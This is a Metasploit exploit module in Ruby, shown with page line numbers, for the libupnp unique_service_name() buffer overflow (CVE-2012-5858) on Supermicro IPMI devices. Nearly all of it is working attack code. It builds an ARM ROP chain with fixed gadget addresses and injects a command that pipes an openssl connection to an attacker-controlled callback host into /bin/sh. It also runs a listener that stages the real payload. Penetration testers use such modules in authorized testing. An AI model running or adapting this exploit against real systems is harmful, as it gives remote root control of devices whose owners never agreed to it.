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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', 'Description'=> %q{ This module exploits a buffer overflow in the unique_service_name() function of libupnp's SSDP processor. The libupnp library is used across thousands of devices and is referred to as the Intel SDK for UPnP Devices or the Portable SDK for UPnP Devices. Due to size limitations on many devices, this exploit uses a separate TCP listener to stage the real payload. }, 'Author' => [ 'hdm',# Exploit dev for Supermicro IPMI 'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI 'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2012-5858' ], [ 'US-CERT-VU', '922681' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload'=> { # # # The following BadChars do not apply since we stage the payload # # through a secondary connection. This is just for reference. # # 'BadChars'=> # # Bytes 0-8 are not allowed # [*(0..8)].pack("C*") + # # 0x09, 0x0a, 0x0d are allowed # "\x0b\x0c\x0e\x0f" + # # All remaining bytes up to space are restricted # [*(0x10..0x1f)].pack("C*") + # # Also not allowed # "\x7f\x3a" + # # Breaks our string quoting # "\x22", # Unlimited since we stage this over a secondary connection 'Space' => 8000, 'DisableNops' => true, 'Compat'=> { 'PayloadType' => 'cmd', # specific payloads vary widely by device (openssl for IPMI, etc) } }, 'Targets'=> [ [ "Automatic", { } ], # # ROP targets are difficult to represent in the hash, use callbacks instead # [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { # The callback handles all target-specific settings :callback => :target_supermicro_ipmi_131, # This matches any line of the SSDP M-SEARCH response :fingerprint => /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi # # SSDP response: # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 # http://192.168.xx.xx:49152/IPMIdevicedesc.xml # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) } ], [ "Debug Target", { # The callback handles all target-specific settings :callback => :target_debug } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jan 29 2013')) register_options( [ Opt::RHOST(), Opt::RPORT(1900), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) ], self.class) end def exploit configure_socket target_info = choose_target unless self.respond_to?(target_info[:callback]) print_error("Invalid target specified: no callback function defined") return end buffer = self.send(target_info[:callback]) pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n\r\n" print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") r = udp_sock.sendto(pkt, rhost, rport, 0) 1.upto(5) do ::IO.select(nil, nil, nil, 1) break if session_created? end # No handler() support right now end # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc def target_supermicro_ipmi_131 # Create a fixed-size buffer for the payload buffer = Rex::Text.rand_text_alpha(2000) # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() buffer[0,1] = '"' buffer[1999,1]= '"' # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] # Restart the service and use openssl to stage the real payload # Staged because only ~150 bytes of contiguous data are available before mangling cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" buffer[432, cmd.length] = cmd # Adjust $r3 to point from the bottom of the stack back into our buffer buffer[304,4] = [0x4009daf8].pack("V") # # 0x4009daf8: add r3, r3, r4, lsl #2 # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 # 0x4009db00: pop {r4, r10, pc} # The offset (right-shifted by 2 ) to our command string above buffer[284,4] = [0xfffffe78].pack("V") # # Copy $r3 into $r0 buffer[316,4] = [0x400db0ac].pack("V") # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) # Move our stack pointer down so as not to corrupt our payload buffer[320,4] = [0x400a5568].pack("V") # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} # Finally return to system() with $r0 pointing to our string buffer[141,4] = [0x400add8c].pack("V") return buffer =begin 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev 00032000-00055000 rwxp 00000000 00:00 0[heap] 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so 40015000-40017000 rwxp 00000000 00:00 0 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so 40036000-40078000 rwxp 00000000 00:00 0 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so 40185000-40187000 rwxp 00000000 00:00 0 bd600000-bd601000 ---p 00000000 00:00 0 bd601000-bd800000 rwxp 00000000 00:00 0 bd800000-bd801000 ---p 00000000 00:00 0 bd801000-bda00000 rwxp 00000000 00:00 0 bdc00000-bdc01000 ---p 00000000 00:00 0 bdc01000-bde00000 rwxp 00000000 00:00 0 be000000-be001000 ---p 00000000 00:00 0 be001000-be200000 rwxp 00000000 00:00 0 be941000-be956000 rwxp 00000000 00:00 0[stack] =end end # Generate a buffer that provides a starting point for exploit development def target_debug buffer = Rex::Text.pattern_create(2000) end def stage_real_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => ssl, 'SSLCert' => datastore['SSLCert'], 'Comm'=> comm, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) self.service.on_client_connect_proc = Proc.new { |client| stage_real_payload(client) } # Start the listening service self.service.start end # # Shut down any running services # def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.kind_of?(Rex::Service) if self.service.kind_of?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::Exception end end end def choose_target # If the user specified a target, use that one return self.target unless self.target.name =~ /Automatic/ msearch = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n\r\n" # Fingerprint the service through SSDP udp_sock.sendto(msearch, rhost, rport, 0) res = nil 1.upto(5) do res,addr,info = udp_sock.recvfrom(65535, 1.0) break if res and res =~ /^(Server|Location)/mi udp_sock.sendto(msearch, rhost, rport, 0) end self.targets.each do |t| return t if t[:fingerprint] and res =~ t[:fingerprint] end if res and res.to_s.length > 0 print_status("No target matches this fingerprint") print_status("") res.to_s.split("\n").each do |line| print_status("#{line.strip}") end print_status("") else print_status("The system #{rhost} did not reply to our M-SEARCH probe") end fail_with(Exploit::Failure::NoTarget, "No compatible target detected") end # Accessor for our TCP payload stager attr_accessor :service # We need an unconnected socket because SSDP replies often come # from a different sent port than the one we sent to. This also # breaks the standard UDP mixin. def configure_socket self.udp_sock = Rex::Socket::Udp.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) add_socket(self.udp_sock) end # # Required since we aren't using the normal mixins # def rhost datastore['RHOST'] end def rport datastore['RPORT'] end # Accessor for our UDP socket attr_accessor :udp_sock end |
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